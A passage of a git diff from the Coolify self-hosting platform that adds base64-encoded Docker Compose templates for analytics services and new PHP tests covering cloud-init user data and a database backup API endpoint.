Jy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgICAgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT4iCg==", + "tags": [ + "analytics", + "web", + "privacy", + "self-hosted", + "clickhouse", + "postgres" + ], + "category": null, + "logo": "svgs/rybbit.svg", + "minversion": "0.0.0", + "port": "3002" + }, "ryot": { "documentation": "https://github.com/ignisda/ryot?utm_source=coolify.io", "slogan": "Roll your own tracker! Ryot is a self-hosted platform for tracking various aspects of life such as media consumption, fitness activities, and more.", @@ -3739,6 +3846,23 @@ "minversion": "0.0.0", "port": "3567" }, + "swetrix": { + "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", + "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", + "compose": "c2VydmljZXM6CiAgc3dldHJpeDoKICAgIGltYWdlOiAnc3dldHJpeC9zd2V0cml4LWZlOnY0LjAuNScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gc3dldHJpeC1hcGkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TV0VUUklYXzMwMDAKICAgICAgLSBBUElfVVJMPSRTRVJWSUNFX0ZRRE5fU1dFVFJJWEFQSQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDozMDAwL3BpbmcgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTVzCiAgc3dldHJpeC1hcGk6CiAgICBpbWFnZTogJ3N3ZXRyaXgvc3dldHJpeC1hcGk6djQuMC41JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFCiAgICAgIC0gU0VSVklDRV9GUUROX1NXRVRSSVhBUEkKICAgICAgLSAnRElTQUJMRV9SRUdJU1RSQVRJT049JHtESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdJUF9HRU9MT0NBVElPTl9EQl9QQVRIPSR7SVBfR0VPTE9DQVRJT05fREJfUEFUSDotfScKICAgICAgLSAnREVCVUdfTU9ERT0ke0RFQlVHX01PREU6LWZhbHNlfScKICAgICAgLSAnQ0xPVURGTEFSRV9QUk9YWV9FTkFCTEVEPSR7Q0xPVURGTEFSRV9QUk9YWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1NNVFBfSE9TVD0ke1NNVFBfSE9TVDotfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUOi19JwogICAgICAtICdTTVRQX1VTRVI9JHtTTVRQX1VTRVI6LX0nCiAgICAgIC0gJ1NNVFBfUEFTU1dPUkQ9JHtTTVRQX1BBU1NXT1JEOi19JwogICAgICAtICdGUk9NX0VNQUlMPSR7RlJPTV9FTUFJTDotfScKICAgICAgLSAnU01UUF9NT0NLPSR7U01UUF9NT0NLOi1mYWxzZX0nCiAgICAgIC0gJ09JRENfRU5BQkxFRD0ke09JRENfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdPSURDX09OTFlfQVVUSD0ke09JRENfT05MWV9BVVRIOi1mYWxzZX0nCiAgICAgIC0gJ09JRENfRElTQ09WRVJZX1VSTD0ke09JRENfRElTQ09WRVJZX1VSTDotfScKICAgICAgLSAnT0lEQ19DTElFTlRfSUQ9JHtPSURDX0NMSUVOVF9JRDotfScKICAgICAgLSAnT0lEQ19DTElFTlRfU0VDUkVUPSR7T0lEQ19DTElFTlRfU0VDUkVUOi19JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSAnQ0xJQ0tIT1VTRV9IT1NUPWh0dHA6Ly9jbGlja2hvdXNlJwogICAgICAtIENMSUNLSE9VU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRQogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICBkZXBlbmRzX29uOgogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjUwMDUvcGluZyB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxNXMKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC4yLWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QT1JUPSR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIC0gJ1JFRElTX1VTRVI9JHtSRURJU19VU0VSOi1kZWZhdWx0fScKICAgICAgLSBSRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgcGluZyB8IGdyZXAgUE9ORycKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICBzdGFydF9wZXJpb2Q6IDFtCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNC4xMC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQVRBQkFTRT0ke0NMSUNLSE9VU0VfREFUQUJBU0U6LWFuYWx5dGljc30nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke0NMSUNLSE9VU0VfVVNFUjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfUE9SVD0ke0NMSUNLSE9VU0VfUE9SVDotODEyM30nCiAgICAgIC0gQ0xJQ0tIT1VTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtTyAtIGh0dHA6Ly8xMjcuMC4wLjE6ODEyMy9waW5nIHx8IGV4aXQgMScKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICBzdGFydF9wZXJpb2Q6IDFtCiAgICBjYXBfYWRkOgogICAgICAtIFNZU19OSUNFCiAgICB2b2x1bWVzOgogICAgICAtICdzd2V0cml4LWV2ZW50cy1kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Rpc2FibGUtdXNlci1sb2dnaW5nLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci91c2Vycy5kL2Rpc2FibGUtdXNlci1sb2dnaW5nLnhtbAogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgPHByb2ZpbGVzPlxuICAgIDxkZWZhdWx0PlxuICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgIDwvZGVmYXVsdD5cbiAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT5cbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vcmVkdWNlLWxvZ3MueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL3JlZHVjZS1sb2dzLnhtbAogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgPGxvZ2dlcj5cbiAgICA8bGV2ZWw+d2FybmluZzwvbGV2ZWw+XG4gICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgPC9sb2dnZXI+XG4gIDxxdWVyeV90aHJlYWRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDx0ZXh0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDx0cmFjZV9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxhc3luY2hyb25vdXNfbWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxzZXNzaW9uX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ByZXNlcnZlLXJhbS1jb25maWcueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL3ByZXNlcnZlLXJhbS1jb25maWcueG1sCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICA8bWFya19jYWNoZV9zaXplPjUzNjg3MDkxMjwvbWFya19jYWNoZV9zaXplPlxuICA8Y29uY3VycmVudF90aHJlYWRzX3NvZnRfbGltaXRfbnVtPjE8L2NvbmN1cnJlbnRfdGhyZWFkc19zb2Z0X2xpbWl0X251bT5cbjwvY2xpY2tob3VzZT5cbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vcHJlc2VydmUtcmFtLXVzZXIueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL3VzZXJzLmQvcHJlc2VydmUtcmFtLXVzZXIueG1sCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICA8cHJvZmlsZXM+XG4gICAgPGRlZmF1bHQ+XG4gICAgICA8bWF4X2Jsb2NrX3NpemU+MjA0ODwvbWF4X2Jsb2NrX3NpemU+XG4gICAgICA8bWF4X2Rvd25sb2FkX3RocmVhZHM+MTwvbWF4X2Rvd25sb2FkX3RocmVhZHM+XG4gICAgICA8aW5wdXRfZm9ybWF0X3BhcmFsbGVsX3BhcnNpbmc+MDwvaW5wdXRfZm9ybWF0X3BhcmFsbGVsX3BhcnNpbmc+XG4gICAgICA8b3V0cHV0X2Zvcm1hdF9wYXJhbGxlbF9mb3JtYXR0aW5nPjA8L291dHB1dF9mb3JtYXRfcGFyYWxsZWxfZm9ybWF0dGluZz5cbiAgICA8L2RlZmF1bHQ+XG4gIDwvcHJvZmlsZXM+XG48L2NsaWNraG91c2U+XG4iCiAgICB1bGltaXRzOgogICAgICBub2ZpbGU6CiAgICAgICAgc29mdDogMjYyMTQ0CiAgICAgICAgaGFyZDogMjYyMTQ0Cg==", + "tags": [ + "analytics", + "privacy", + "monitoring", + "open-source", + "clickhouse", + "redis" + ], + "category": "analytics", + "logo": "svgs/swetrix.svg", + "minversion": "0.0.0", + "port": "3000" + }, "syncthing": { "documentation": "https://syncthing.net/?utm_source=coolify.io", "slogan": "Syncthing synchronizes files between two or more computers in real time.", @@ -3789,7 +3913,7 @@ "traccar": { "documentation": "https://www.traccar.org/documentation/?utm_source=coolify.io", "slogan": "Traccar is a free and open source modern GPS tracking system.", - "compose": "c2VydmljZXM6CiAgdHJhY2NhcjoKICAgIGltYWdlOiAndHJhY2Nhci90cmFjY2FyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9UUkFDQ0FSXzgwODIKICAgICAgLSBTRVJWSUNFX0ZRRE5fVFJBQ0NBUkFQSV81MTU5CiAgICAgIC0gJ0NPTkZJR19VU0VfRU5WSVJPTk1FTlRfVkFSSUFCTEVTPSR7Q09ORklHX1VTRV9FTlZJUk9OTUVOVF9WQVJJQUJMRVM6LXRydWV9JwogICAgICAtICdEQVRBQkFTRV9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3Nydi90cmFjY2FyL2NvbmYvdHJhY2Nhci54bWwKICAgICAgICB0YXJnZXQ6IC9vcHQvdHJhY2Nhci9jb25mL3RyYWNjYXIueG1sCiAgICAgICAgY29udGVudDogIjw/eG1sIHZlcnNpb249JzEuMCcgZW5jb2Rpbmc9J1VURi04Jz8+XG48IURPQ1RZUEUgcHJvcGVydGllcyBTWVNURU0gJ2h0dHA6Ly9qYXZhLnN1bi5jb20vZHRkL3Byb3BlcnRpZXMuZHRkJz5cbjxwcm9wZXJ0aWVzPlxuICAgIDxlbnRyeSBrZXk9J2NvbmZpZy5kZWZhdWx0Jz4uL2NvbmYvZGVmYXVsdC54bWw8L2VudHJ5PlxuICAgIDxlbnRyeSBrZXk9J2RhdGFiYXNlLmRyaXZlcic+b3JnLnBvc3RncmVzcWwuRHJpdmVyPC9lbnRyeT5cbiAgICA8ZW50cnkga2V5PSdkYXRhYmFzZS51cmwnPmpkYmM6cG9zdGdyZXNxbDovL3Bvc3RncmVzOjU0MzIvdHJhY2NhcjwvZW50cnk+XG48L3Byb3BlcnRpZXM+XG4iCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4Mi9waW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTVzCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXRyYWNjYXJ9JwogICAgdm9sdW1lczoKICAgICAgLSAndHJhY2Nhci1wb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhLycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgdHJhY2NhcjoKICAgIGltYWdlOiAndHJhY2Nhci90cmFjY2FyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9UUkFDQ0FSXzgwODIKICAgICAgLSBTRVJWSUNFX0ZRRE5fVFJBQ0NBUkFQSV81MTU5CiAgICAgIC0gJ0NPTkZJR19VU0VfRU5WSVJPTk1FTlRfVkFSSUFCTEVTPSR7Q09ORklHX1VTRV9FTlZJUk9OTUVOVF9WQVJJQUJMRVM6LXRydWV9JwogICAgICAtICdEQVRBQkFTRV9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3Nydi90cmFjY2FyL2NvbmYvdHJhY2Nhci54bWwKICAgICAgICB0YXJnZXQ6IC9vcHQvdHJhY2Nhci9jb25mL3RyYWNjYXIueG1sCiAgICAgICAgY29udGVudDogIjw/eG1sIHZlcnNpb249JzEuMCcgZW5jb2Rpbmc9J1VURi04Jz8+XG48IURPQ1RZUEUgcHJvcGVydGllcyBTWVNURU0gJ2h0dHA6Ly9qYXZhLnN1bi5jb20vZHRkL3Byb3BlcnRpZXMuZHRkJz5cbjxwcm9wZXJ0aWVzPlxuICAgIDxlbnRyeSBrZXk9J2NvbmZpZy5kZWZhdWx0Jz4uL2NvbmYvZGVmYXVsdC54bWw8L2VudHJ5PlxuICAgIDxlbnRyeSBrZXk9J2RhdGFiYXNlLmRyaXZlcic+b3JnLnBvc3RncmVzcWwuRHJpdmVyPC9lbnRyeT5cbiAgICA8ZW50cnkga2V5PSdkYXRhYmFzZS51cmwnPmpkYmM6cG9zdGdyZXNxbDovL3Bvc3RncmVzOjU0MzIvdHJhY2NhcjwvZW50cnk+XG48L3Byb3BlcnRpZXM+XG4iCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MicKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDE1cwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi10cmFjY2FyfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3RyYWNjYXItcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YS8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "traccar", "gps", diff --git a/tests/Feature/CloudInitScriptTest.php b/tests/Feature/CloudInitScriptTest.php new file mode 100644 index 000000000..881f0071c --- /dev/null +++ b/tests/Feature/CloudInitScriptTest.php @@ -0,0 +1,101 @@ + 'test-server', + 'server_type' => 'cx11', + 'image' => 1, + 'location' => 'nbg1', + 'start_after_create' => true, + 'ssh_keys' => [123], + 'public_net' => [ + 'enable_ipv4' => true, + 'enable_ipv6' => true, + ], + ]; + + // Add cloud-init script if provided + if (! empty($cloudInitScript)) { + $params['user_data'] = $cloudInitScript; + } + + expect($params) + ->toHaveKey('user_data') + ->and($params['user_data'])->toBe("#!/bin/bash\necho 'Hello World'"); +}); + +it('validates cloud-init script is not included when empty', function () { + $cloudInitScript = null; + $params = [ + 'name' => 'test-server', + 'server_type' => 'cx11', + 'image' => 1, + 'location' => 'nbg1', + 'start_after_create' => true, + 'ssh_keys' => [123], + 'public_net' => [ + 'enable_ipv4' => true, + 'enable_ipv6' => true, + ], + ]; + + // Add cloud-init script if provided + if (! empty($cloudInitScript)) { + $params['user_data'] = $cloudInitScript; + } + + expect($params)->not->toHaveKey('user_data'); +}); + +it('validates cloud-init script is not included when empty string', function () { + $cloudInitScript = ''; + $params = [ + 'name' => 'test-server', + 'server_type' => 'cx11', + 'image' => 1, + 'location' => 'nbg1', + 'start_after_create' => true, + 'ssh_keys' => [123], + 'public_net' => [ + 'enable_ipv4' => true, + 'enable_ipv6' => true, + ], + ]; + + // Add cloud-init script if provided + if (! empty($cloudInitScript)) { + $params['user_data'] = $cloudInitScript; + } + + expect($params)->not->toHaveKey('user_data'); +}); + +it('validates cloud-init script with multiline content', function () { + $cloudInitScript = "#cloud-config\n\npackages:\n - nginx\n - git\n\nruncmd:\n - systemctl start nginx"; + $params = [ + 'name' => 'test-server', + 'server_type' => 'cx11', + 'image' => 1, + 'location' => 'nbg1', + 'start_after_create' => true, + 'ssh_keys' => [123], + 'public_net' => [ + 'enable_ipv4' => true, + 'enable_ipv6' => true, + ], + ]; + + // Add cloud-init script if provided + if (! empty($cloudInitScript)) { + $params['user_data'] = $cloudInitScript; + } + + expect($params) + ->toHaveKey('user_data') + ->and($params['user_data'])->toContain('#cloud-config') + ->and($params['user_data'])->toContain('packages:') + ->and($params['user_data'])->toContain('runcmd:'); +}); diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php new file mode 100644 index 000000000..16a65dff2 --- /dev/null +++ b/tests/Feature/DatabaseBackupCreationApiTest.php @@ -0,0 +1,147 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create an API token for the user + $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + $this->bearerToken = $this->token->plainTextToken; + + // Mock a database - we'll use Mockery to avoid needing actual database setup + $this->database = \Mockery::mock(StandalonePostgresql::class); + $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1); + $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid'); + $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb'); + $this->database->shouldReceive('type')->andReturn('standalone-postgresql'); + $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); +}); + +afterEach(function () { + \Mockery::close(); +}); + +describe('POST /api/v1/databases/{uuid}/backups', function () { + test('creates backup configuration with minimal required fields', function () { + // This is a unit-style test using mocks to avoid database dependency + // For full integration testing, this should be run inside Docker + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'daily', + ]); + + // Since we're mocking, this test verifies the endpoint exists and basic validation + // Full integration tests should be run in Docker environment + expect($response->status())->toBeIn([201, 404, 422]); + }); + + test('validates frequency is required', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'enabled' => true, + ]); + + $response->assertStatus(422); + $response->assertJsonValidationErrors(['frequency']); + }); + + test('validates s3_storage_uuid required when save_s3 is true', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'daily', + 'save_s3' => true, + ]); + + // Should fail validation because s3_storage_uuid is missing + expect($response->status())->toBeIn([404, 422]); + }); + + test('rejects invalid frequency format', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'invalid-frequency', + ]); + + expect($response->status())->toBeIn([404, 422]); + }); + + test('rejects request without authentication', function () { + $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'daily', + ]); + + $response->assertStatus(401); + 